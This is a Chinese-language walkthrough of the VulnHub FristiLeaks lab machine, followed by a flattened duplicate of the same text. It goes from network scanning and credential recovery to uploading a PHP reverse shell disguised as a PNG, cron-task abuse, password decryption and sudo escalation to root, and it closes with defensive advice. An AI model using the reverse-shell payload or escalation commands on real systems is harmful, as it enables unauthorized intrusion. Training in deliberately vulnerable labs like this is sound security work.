VulnHub靶机学习——Fristileaks实战记录
字数 1502 2025-08-18 11:38:28

Fristileaks 靶机渗透实战教学文档

靶机概述

  • 难度等级: 中级
  • 目标: 获取root权限并找到flag
  • 下载地址: FristiLeaks_1.3.ova
  • 环境要求:
    • 攻击机: Kali Linux
    • 靶机: FristiLeaks (VMware运行)
    • 网络设置: NAT模式

渗透测试流程

1. 信息收集阶段

步骤1: 发现靶机IP

使用nmap扫描本地网络:

nmap -sn 192.168.50.0/24

发现靶机IP为192.168.50.143

步骤2: 端口扫描

全面扫描开放端口:

nmap -sV -p- 192.168.50.143

发现仅开放80端口

详细扫描80端口:

nmap -A -O -p80 192.168.50.143

发现存在robots.txt文件

步骤3: 目录爆破

使用Dirbuster进行目录爆破,发现以下关键目录:

  • /images/ (包含KEEP CALM AND DRINK FRISTI图片)
  • /fristi/ (重要登录页面)

2. Web应用渗透

步骤1: 分析登录页面

访问192.168.50.143/fristi发现登录页面

查看页面源代码发现:

  1. 潜在用户名: "eezeepz"
  2. Base64编码的图片数据

步骤2: 解码Base64图片

编写Python脚本处理Base64数据:

import base64

# 从网页获取的Base64数据
encoded_data = "iVBORw0KGgoAAAANSUhEUgAAAMgAAADICAYAAACt..."

# 解码并写入文件
with open("decoded.png", "wb") as f:
    f.write(base64.b64decode(encoded_data))

解码后获得包含密码的图片:

Username: eezeepz
Password: KeKKeKKeKKeK

步骤3: 登录系统

使用凭证登录:

  • 用户名: eezeepz
  • 密码: KeKKeKKeKKeK

成功进入文件上传页面

3. 获取初始访问权限

步骤1: 准备反弹shell

创建PHP反弹shell文件(shell.php):

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.50.142/4444 0>&1'");
?>

重命名为图片格式:

mv shell.php shell.png

步骤2: 设置监听

在Kali上启动监听:

nc -lvnp 4444

步骤3: 上传并触发shell

  1. 上传shell.png文件
  2. 访问/uploads/shell.png触发反弹shell

4. 权限提升

步骤1: 初步枚举

查看/home目录发现用户:

  • eezeepz
  • admin

查看eezeepz目录下的note.txt:

Hi eezeepz,

I have left a note for you in /tmp. Please create a file called "runthis" there and I will run it as admin.

Thanks,
admin

步骤2: 利用定时任务提权

创建runthis文件:

echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > /tmp/runthis

等待定时任务执行后,获得admin目录访问权限

步骤3: 解密密码文件

在admin目录发现:

  • cryptpass.py (加密脚本)
  • cryptedpass.txt (加密密码)
  • whoisyourgodnow.txt (加密文件)

解密得到:

  • whoisyourgodnow.txt → "LetThereBeFristi!"
  • cryptedpass.txt → "thisisalsopw123"

步骤4: 切换至fristigod用户

使用密码"LetThereBeFristi!"切换用户:

su - fristigod

如果遇到shell问题,使用:

python -c 'import pty;pty.spawn("/bin/bash")'

步骤5: 分析用户历史

查看.bash_history发现sudo使用模式:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

步骤6: 最终提权

执行命令获取root shell:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

成功获取root权限,找到flag

关键知识点总结

  1. 信息收集技巧:

    • 全面的nmap扫描策略
    • 目录爆破的合理使用
    • 源代码审查的重要性
  2. Web渗透技巧:

    • Base64隐写术分析
    • 弱凭证利用
    • 文件上传漏洞利用
  3. 权限提升方法:

    • 定时任务利用
    • 密码破解与解密
    • Sudo权限滥用
  4. 后渗透技巧:

    • 受限shell突破
    • 历史命令分析
    • 横向移动技术

防御建议

  1. 系统加固:

    • 限制不必要的文件上传功能
    • 禁用危险的sudo配置
    • 严格控制定时任务权限
  2. 密码安全:

    • 避免在源代码中硬编码凭证
    • 使用强加密算法存储密码
    • 定期更换密码
  3. 监控措施:

    • 监控异常文件创建(/tmp/runthis)
    • 记录sudo命令执行
    • 设置文件完整性监控
  4. 开发安全:

    • 避免在客户端进行敏感操作
    • 实施输入验证和过滤
    • 定期安全代码审计
Fristileaks 靶机渗透实战教学文档 靶机概述 难度等级 : 中级 目标 : 获取root权限并找到flag 下载地址 : FristiLeaks_ 1.3.ova 环境要求 : 攻击机: Kali Linux 靶机: FristiLeaks (VMware运行) 网络设置: NAT模式 渗透测试流程 1. 信息收集阶段 步骤1: 发现靶机IP 使用nmap扫描本地网络: 发现靶机IP为192.168.50.143 步骤2: 端口扫描 全面扫描开放端口: 发现仅开放80端口 详细扫描80端口: 发现存在robots.txt文件 步骤3: 目录爆破 使用Dirbuster进行目录爆破,发现以下关键目录: /images/ (包含KEEP CALM AND DRINK FRISTI图片) /fristi/ (重要登录页面) 2. Web应用渗透 步骤1: 分析登录页面 访问192.168.50.143/fristi发现登录页面 查看页面源代码发现: 潜在用户名: "eezeepz" Base64编码的图片数据 步骤2: 解码Base64图片 编写Python脚本处理Base64数据: 解码后获得包含密码的图片: 步骤3: 登录系统 使用凭证登录: 用户名: eezeepz 密码: KeKKeKKeKKeK 成功进入文件上传页面 3. 获取初始访问权限 步骤1: 准备反弹shell 创建PHP反弹shell文件(shell.php): 重命名为图片格式: 步骤2: 设置监听 在Kali上启动监听: 步骤3: 上传并触发shell 上传shell.png文件 访问/uploads/shell.png触发反弹shell 4. 权限提升 步骤1: 初步枚举 查看/home目录发现用户: eezeepz admin 查看eezeepz目录下的note.txt: 步骤2: 利用定时任务提权 创建runthis文件: 等待定时任务执行后,获得admin目录访问权限 步骤3: 解密密码文件 在admin目录发现: cryptpass.py (加密脚本) cryptedpass.txt (加密密码) whoisyourgodnow.txt (加密文件) 解密得到: whoisyourgodnow.txt → "LetThereBeFristi !" cryptedpass.txt → "thisisalsopw123" 步骤4: 切换至fristigod用户 使用密码"LetThereBeFristi !"切换用户: 如果遇到shell问题,使用: 步骤5: 分析用户历史 查看.bash_ history发现sudo使用模式: 步骤6: 最终提权 执行命令获取root shell: 成功获取root权限,找到flag 关键知识点总结 信息收集技巧 : 全面的nmap扫描策略 目录爆破的合理使用 源代码审查的重要性 Web渗透技巧 : Base64隐写术分析 弱凭证利用 文件上传漏洞利用 权限提升方法 : 定时任务利用 密码破解与解密 Sudo权限滥用 后渗透技巧 : 受限shell突破 历史命令分析 横向移动技术 防御建议 系统加固 : 限制不必要的文件上传功能 禁用危险的sudo配置 严格控制定时任务权限 密码安全 : 避免在源代码中硬编码凭证 使用强加密算法存储密码 定期更换密码 监控措施 : 监控异常文件创建(/tmp/runthis) 记录sudo命令执行 设置文件完整性监控 开发安全 : 避免在客户端进行敏感操作 实施输入验证和过滤 定期安全代码审计